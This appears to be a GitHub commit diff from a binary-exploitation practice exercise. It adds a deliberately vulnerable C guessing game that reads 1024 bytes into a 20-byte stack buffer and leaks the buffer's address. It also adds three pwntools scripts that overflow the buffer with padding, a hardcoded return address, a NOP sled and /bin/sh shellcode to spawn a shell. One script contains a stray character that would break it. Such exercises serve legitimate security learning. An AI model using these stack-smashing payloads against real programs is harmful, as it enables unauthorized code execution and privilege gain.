File tree Expand file tree Collapse file tree 5 files changed +118
-0
lines changed Expand file tree Collapse file tree 5 files changed +118
-0
lines changed Original file line number Diff line number Diff line change
1
+ #include <stdio.h>
2
+ #include <unistd.h>
3
+ #include <stdlib.h>
4
+
5
+ char win [] = "YAY!" ;
6
+ char lose [] = "Nope!" ;
7
+
8
+ void print_data ( char * data , int len ) {
9
+ for ( int x = 0 ; x <= len ; x ++ )
10
+ {
11
+ printf ("%c" , data [x ]);
12
+ }
13
+ }
14
+
15
+ char * check_value (int random ) {
16
+ char buffer [20 ];
17
+ char * output = lose ;
18
+ int check ;
19
+ int input_length ;
20
+
21
+ printf ("Location of the buffer %p\n" , buffer );
22
+ printf ("\nWhat's your guess? \n> " );
23
+ input_length = read (STDIN_FILENO , buffer , 1024 );
24
+ printf ("Your input: " );
25
+ print_data ( buffer , input_length );
26
+ check = atoi (buffer );
27
+ if (check == random ) {
28
+ output = win ;
29
+ }
30
+ return output ;
31
+ }
32
+
33
+ void main ()
34
+ {
35
+ gid_t egid = getegid ();
36
+ setregid (egid , egid );
37
+
38
+ int r = rand () % 10 ;
39
+ char * output ;
40
+ printf ("Can you guess the number?\n" );
41
+ while (1 ) {
42
+ output = check_value (r );
43
+ printf ("\n--- %s ---\n" , output );
44
+ if ( output == win )
45
+ {
46
+ break ;
47
+ }
48
+ }
49
+ }
Original file line number Diff line number Diff line change
1
+ from pwn import *
2
+
3
+ context .arch = 'amd64'
4
+ context .os = 'linux'
5
+ context .aslr = False
6
+ context .log_level = 'error'
7
+
8
+ io = process ('/home/stage1/stage1-noaslr' )
9
+
10
+ offset = cyclic (80 )
11
+ addr = p64 (0x7fffffffe3b0 )
12
+ junk = b'A' * offset
13
+ payload = junk + addr + (b'\x90 ' * 400 ) + asm (shellcraft .sh ())
14
+
15
+ file = open ('payaslr' , 'wb' )
16
+ file .write (payload )
17
+ file .close ()
18
+
19
+ # io.sendline(payload)
20
+ # io.interactive()
Original file line number Diff line number Diff line change
1
+ #!/usr/bin/env python3
2
+ from pwn import *
3
+
4
+ context .log_level = 'debug'
5
+ context .terminal = '/bin/sh'
6
+ context .aslr = False
7
+ context .arch = 'amd64'
8
+ context .os = 'linux'
9
+
10
+ p = process ('/home/stage1/stage1-noaslr' )
11
+ p .recvuntil (b"What's your guess?" )
12
+
13
+ substring = pack (0x616161706161616f )
14
+ offset = cyclic (80 ).find (substring )
15
+ target = p64 (0x00007fffffffe3b0 )
16
+
17
+ payload = (b'A' * offset ) + target + (b'\x90 ' * 400 ) + asm (shellcraft .sh ())
18
+
19
+ file = open ('payaslr' , 'wb' )
20
+ file .write (payload )
21
+ file .close ()
22
+
23
+ p .sendline (payload )z
24
+
25
+ p .interactive ()
Original file line number Diff line number Diff line change
1
+ from pwn import *
2
+
3
+ # context.log_level = 'debug'
4
+ context .terminal = '/bin/sh'
5
+ context .aslr = False
6
+ context .arch = 'amd64'
7
+ context .os = 'linux'
8
+
9
+ p = process ('./vuln' )
10
+
11
+ junk = b'A' * 56
12
+ nop_sled = b"\x90 "
13
+ addr = p64 (0x7fffffffde10 )
14
+ shellcode = asm (shellcraft .sh ())
15
+ # libc.address = 0x7ffff7d8c000
16
+
17
+ payload = junk + addr + (nop_sled * 300 ) + shellcode
18
+
19
+ file = open ('payload' , 'wb' )
20
+ file .write (payload )
21
+ file .close ()
22
+
23
+ p .sendline (payload )
24
+ p .interactive ()
You can’t perform that action at this time.
0 commit comments